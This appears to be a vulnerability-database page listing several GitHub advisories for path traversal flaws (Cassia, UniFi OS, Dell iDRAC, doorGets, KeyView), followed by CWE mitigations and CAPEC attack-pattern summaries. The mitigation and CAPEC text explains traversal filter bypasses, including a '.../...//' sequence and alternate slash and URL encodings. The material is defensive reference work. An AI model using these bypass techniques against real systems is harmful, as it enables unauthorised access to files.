Vulnerability from github – Published: 2022-10-14 19:00 – Updated: 2022-10-15 12:00An attacker may be able to use minify route with a relative path to view any file on the Cassia Networks Access Controller prior to 2.0.1.
{
"affected": [],
"aliases": [
"CVE-2021-22685"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-14T17:15:00Z",
"severity": "HIGH"
},
"details": "An attacker may be able to use minify route with a relative path to view any file on the Cassia Networks Access Controller prior to 2.0.1.",
"id": "GHSA-95fj-76m5-w4rc",
"modified": "2022-10-15T12:00:54Z",
"published": "2022-10-14T19:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22685"
},
{
"type": "WEB",
"url": "https://www.cassianetworks.com/support/knowledge-base"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/uscert/ics/advisories/icsa-21-119-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-95FP-244G-G3VR
Vulnerability from github – Published: 2026-05-22 03:30 – Updated: 2026-06-23 18:31A malicious actor with access to the network could exploit a Path Traversal vulnerability found in UniFi OS devices to access files on the underlying system that could be manipulated to access an underlying account.
{
"affected": [],
"aliases": [
"CVE-2026-34909"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-22T02:16:34Z",
"severity": "CRITICAL"
},
"details": "A malicious actor with access to the network could exploit a Path Traversal vulnerability found in UniFi OS devices to access files on the underlying system that could be manipulated to access an underlying account.",
"id": "GHSA-95fp-244g-g3vr",
"modified": "2026-06-23T18:31:31Z",
"published": "2026-05-22T03:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34909"
},
{
"type": "WEB",
"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34909"
},
{
"type": "WEB",
"url": "https://www.pwndefend.com/2026/06/09/cve-2026-34910-exploitation-itw-building-a-botnet-mirai"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-95FW-X52J-JFX5
Vulnerability from github – Published: 2025-11-06 21:31 – Updated: 2025-11-06 21:31Dell Integrated Dell Remote Access Controller 9, 14G versions prior to 7.00.00.181, 15G and 16G versions 6.10.80.00 through 7.20.10.50 and Dell Integrated Dell Remote Access Controller 10, 17G versions prior to 1.20.25.00, contain an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.
{
"affected": [],
"aliases": [
"CVE-2025-22397"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-06T19:15:41Z",
"severity": "MODERATE"
},
"details": "Dell Integrated Dell Remote Access Controller 9, 14G versions prior to 7.00.00.181, 15G and 16G versions 6.10.80.00 through 7.20.10.50 and Dell Integrated Dell Remote Access Controller 10, 17G versions prior to 1.20.25.00, contain an Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.",
"id": "GHSA-95fw-x52j-jfx5",
"modified": "2025-11-06T21:31:29Z",
"published": "2025-11-06T21:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22397"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000384516/dsa-2025-376-security-update-for-dell-idrac9-and-idrac10-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-95G7-FCWR-C2P8
Vulnerability from github – Published: 2022-05-24 16:44 – Updated: 2024-04-04 00:21doorGets 7.0 has a sensitive information disclosure vulnerability in /fileman/php/renamefile.php. A remote unauthenticated attacker can exploit this vulnerability to obtain server-sensitive information or make the server unserviceable.
{
"affected": [],
"aliases": [
"CVE-2019-11608"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-04-30T20:29:00Z",
"severity": "HIGH"
},
"details": "doorGets 7.0 has a sensitive information disclosure vulnerability in /fileman/php/renamefile.php. A remote unauthenticated attacker can exploit this vulnerability to obtain server-sensitive information or make the server unserviceable.",
"id": "GHSA-95g7-fcwr-c2p8",
"modified": "2024-04-04T00:21:36Z",
"published": "2022-05-24T16:44:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11608"
},
{
"type": "WEB",
"url": "https://github.com/itodaro/doorGets_cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-95H6-22HH-49FF
Vulnerability from github – Published: 2022-05-01 02:10 – Updated: 2025-04-03 04:23Directory traversal vulnerability in kvarcve.dll in Autonomy (formerly Verity) KeyView SDK before 9.2.0, as used in Lotus Notes 6.5.4 and 7.0, allows remote attackers to delete arbitrary files via a (1) ZIP, (2) UUE or (3) TAR archive that contains a .. (dot dot) in the filename, which is not properly handled when generating a preview.
{
"affected": [],
"aliases": [
"CVE-2005-2619"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2005-12-31T05:00:00Z",
"severity": "HIGH"
},
"details": "Directory traversal vulnerability in kvarcve.dll in Autonomy (formerly Verity) KeyView SDK before 9.2.0, as used in Lotus Notes 6.5.4 and 7.0, allows remote attackers to delete arbitrary files via a (1) ZIP, (2) UUE or (3) TAR archive that contains a .. (dot dot) in the filename, which is not properly handled when generating a preview.",
"id": "GHSA-95h6-22hh-49ff",
"modified": "2025-04-03T04:23:17Z",
"published": "2022-05-01T02:10:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2005-2619"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/24637"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/16100"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/16280"
},
{
"type": "WEB",
"url": "http://secunia.com/secunia_research/2005-30/advisory"
},
{
"type": "WEB",
"url": "http://secunia.com/secunia_research/2005-66/advisory"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1015657"
},
{
"type": "WEB",
"url": "http://www-1.ibm.com/support/docview.wss?rs=475\u0026uid=swg21229918"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/23066"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/424717/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/16576"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/0500"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.